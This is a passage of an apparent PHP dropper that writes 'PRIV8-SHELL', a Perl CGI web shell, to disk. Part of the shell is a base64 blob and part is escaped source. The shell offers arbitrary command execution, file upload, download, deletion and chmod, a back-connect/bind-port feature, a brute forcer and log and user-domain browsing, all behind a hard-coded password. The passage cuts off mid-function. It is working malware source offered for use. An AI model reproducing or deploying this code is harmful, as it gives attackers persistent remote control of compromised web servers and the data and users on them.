oJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=";
            $cgi = fopen($file_cgi, "w");
            fwrite($cgi, "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;\n\$Version= \"PRIV8-SHELL Version 1.3\";\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>PRIV8-SHELL</font>\";\n\n\$Password = \"hacker0882\";\t\t\t# Change this. You will need to enter this to login.\nsub Is_Win(){\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\n\tif(\$os =~ m/win/i){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\$cols= 150;\n\$rows= 26;\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tmy \$dir =\$CurrentDir;\n\t\$dir=~ s/\\\\/\\\\\\\\/g;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>Priv8 Shell Cgi</title>\n\n\$HtmlMetaHeader\n\n</head>\n<style>\nbody{\nfont: 10pt Verdana;\n}\ntr {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ffffff;\n}\ntd {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #0960ff;\nfont: 10pt Verdana;\n}\n\ntable {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #111;\n}\n\n\ninput {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana;\ncolor: #ffffff;\n}\n\ninput.submit {\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\ncolor: #FFFFFF;\nborder-color: #0960ff;\n}\n\ncode {\nborder\t\t\t: dashed 0px #333;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana bold;\ncolor: while;\n}\n\nrun {\nborder\t\t\t: dashed 0px #333;\nfont: 10pt Verdana bold;\ncolor: #FF00AA;\n}\n\ntextarea {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #1b1b1b;\nfont: Fixedsys bold;\ncolor: #aaa;\n}\nA:link {\n\tCOLOR: #0960ff; TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: #0960ff; TEXT-DECORATION: none\n}\nA:hover {\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #ffffff; TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red; TEXT-DECORATION: none\n}\n\n.listdir tr:hover{\n\tbackground: #444;\n}\n.listdir tr:hover td{\n\tbackground: #444;\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\n}\n.notline{\n\tbackground: #111;\n}\n.line{\n\tbackground: #222;\n}\n</style>\n<script language=\"javascript\">\nfunction chmod_form(i,file)\n{\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\n\tvar ajax=\"\";\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_chmod_form(response,i,perms,file)\n{\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\n}\nfunction rename_form(i,file,f)\n{\n\tvar ajax=\"\";\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_rename_form(i,file,f)\n{\n\tif(f=='f')\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\n\t}else\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\n\t}\n}\n</script>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<center><code>\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n\t<td align=\"center\" rowspan=2>\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\n\t</td>\n\n\t<td>\n\n\t\t<font face=\"Verdana\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\n\t</td>\n\t<td>Server IP:<font color=\"#ffffff\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#ffffff\">\$ENV{'REMOTE_ADDR'}</font>\n\t</td>\n\n</tr>\n\n<tr>\n<td colspan=\"3\"><font face=\"Verdana\" size=\"2\">\n<a href=\"\$ScriptLocation\">Home</a> | \n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\n<a target='_blank' href=\"#\">Help</a>\n\n</font></td>\n</tr>\n</table>\n<font id=\"ResponseData\" color=\"#ff99cc\" >\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\n\tprint <<END;\n<pre><script type=\"text/javascript\">\nTypingText = function(element, interval, cursor, finishedCallback) {\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\n    this.running = true;\t// Never run.\n    return;\n  }\n  this.element = element;\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\n  this.origText = this.element.innerHTML;\n  this.unparsedOrigText = this.origText;\n  this.cursor = (cursor ? cursor : \"\");\n  this.currentText = \"\";\n  this.currentChar = 0;\n  this.element.typingText = this;\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\n  TypingText.all.push(this);\n  this.running = false;\n  this.inTag = false;\n  this.tagBuffer = \"\";\n  this.inHTMLEntity = false;\n  this.HTMLEntityBuffer = \"\";\n}\nTypingText.all = new Array();\nTypingText.currentIndex = 0;\nTypingText.runAll = function() {\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\n}\nTypingText.prototype.run = function() {\n  if(this.running) return;\n  if(typeof this.origText == \"undefined\") {\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\n    return;\n  }\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\n  if(this.currentChar < this.origText.length) {\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\n      this.tagBuffer = \"<\";\n      this.inTag = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\n      this.tagBuffer += \">\";\n      this.inTag = false;\n      this.currentText += this.tagBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inTag) {\n      this.tagBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\n      this.HTMLEntityBuffer = \"&\";\n      this.inHTMLEntity = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\n      this.HTMLEntityBuffer += \";\";\n      this.inHTMLEntity = false;\n      this.currentText += this.HTMLEntityBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inHTMLEntity) {\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else {\n      this.currentText += this.origText.charAt(this.currentChar);\n    }\n    this.element.innerHTML = this.currentText;\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\n    this.currentChar++;\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\n  } else {\n\tthis.currentText = \"\";\n\tthis.currentChar = 0;\n        this.running = false;\n        this.finishedCallback();\n  }\n}\n</script>\n</pre>\n\n<font style=\"font: 15pt Verdana; color: blue;\">[ Priv8 Shell Cgi Telnet ]</font><br><font style=\"font: 8pt Verdana; color: blue;\">Password: hacker0882 </font><br<br>\n<table align=\"center\" border=\"1\" width=\"600\" heigh>\n<tbody><tr>\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\n<font color=\"#0960ff\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#0960ff\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\n<font color=\"#F00000\"><font color=\"#0960ff\">~\\\$</font> Connected ! </font><br>\n<font color=\"#0960ff\"><font color=\"#0960ff\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#0960ff\"><font color=\"#0960ff\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\n\n<font color=\"#F00000\"><font color=\"#0960ff\">\$ServerName~</font>\\\$ Connected Command! </font><br>\n<font color=\"#0960ff\"><font color=\"#0960ff\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\n</tr>\n</tbody></table>\n<br>\n\n<script type=\"text/javascript\">\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\nTypingText.runAll();\n\n</script>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Add html special chars\n#------------------------------------------------------------------------------\nsub HtmlSpecialChars(\$){\n\tmy \$text = shift;\n\t\$text =~ s/&/&amp;/g;\n\t\$text =~ s/\"/&quot;/g;\n\t\$text =~ s/'/&#039;/g;\n\t\$text =~ s/</&lt;/g;\n\t\$text =~ s/>/&gt;/g;\n\treturn \$text;\n}\n#------------------------------------------------------------------------------\n# Add link for directory\n#------------------------------------------------------------------------------\nsub AddLinkDir(\$)\n{\n\tmy \$ac=shift;\n\tmy @dir=();\n\tif(\$WinNT)\n\t{\n\t\t@dir=split(/\\\\/,\$CurrentDir);\n\t}else\n\t{\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\n\t}\n\tmy \$path=\"\";\n\tmy \$result=\"\";\n\tforeach (@dir)\n\t{\n\t\t\$path .= \$_.\$PathSep;\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<br>Login : Administrator<br>\n\nPassword:<br>\nLogin incorrect<br><br>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nLogin : Administrator<br>\nPassword:<input type=\"password\" name=\"p\">\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"</code></center></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{'}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"Connection closed by foreign host.<br><br>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n\texit;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader;\n\t\tprint &ListDir;\n\t}\n\telse # password 